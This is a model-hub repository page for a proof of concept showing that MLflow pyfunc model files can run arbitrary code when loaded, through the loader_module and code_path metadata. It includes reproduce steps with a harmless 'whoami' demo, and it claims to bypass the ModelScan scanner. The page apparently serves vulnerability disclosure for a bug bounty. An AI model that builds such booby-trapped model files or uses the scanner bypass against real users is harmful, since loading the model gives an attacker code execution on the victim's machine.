Downloads · 30 days
0
mlflow-pyfunc-rce-poc
xiaoyaoes/mlflow-pyfunc-rce-poc
mlflow-pyfunc-rce-poc is a machine learning model from xiaoyaoes. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
Access
Public
Updated Jul 5, 2026
Repo size
—
Likes
0
Public
Repo makeup
Click a slice to open those files.
Other1.6 KB · 62%
At a glance
- Access
- Public
- Created
- Jul 5, 2026
- Updated
- Jul 5, 2026
- SHA
- f3318fd8
Model card
From the Hugging Face model README
MLFlow pyfunc RCE PoC
Format: MLFlow
Attack: loader_module + code_path → importlib.import_module() → RCE at model load time
How to reproduce:
pip install mlflow
python3 -c "
import mlflow.pyfunc
mlflow.pyfunc.load_model('.')
whoami > /tmp/pwned.txt
"
PoC files:
MLmodel— specifiesloader_module: exploitandcode: code/code/exploit.py— top-level code runs atimporttime
Bypasses: ModelScan (protectai/modelscan) — no scanner for MLmodel metadata
Submitted to: huntr.com MFV bounty
- Created
- Jul 5, 2026
- Updated
- Jul 5, 2026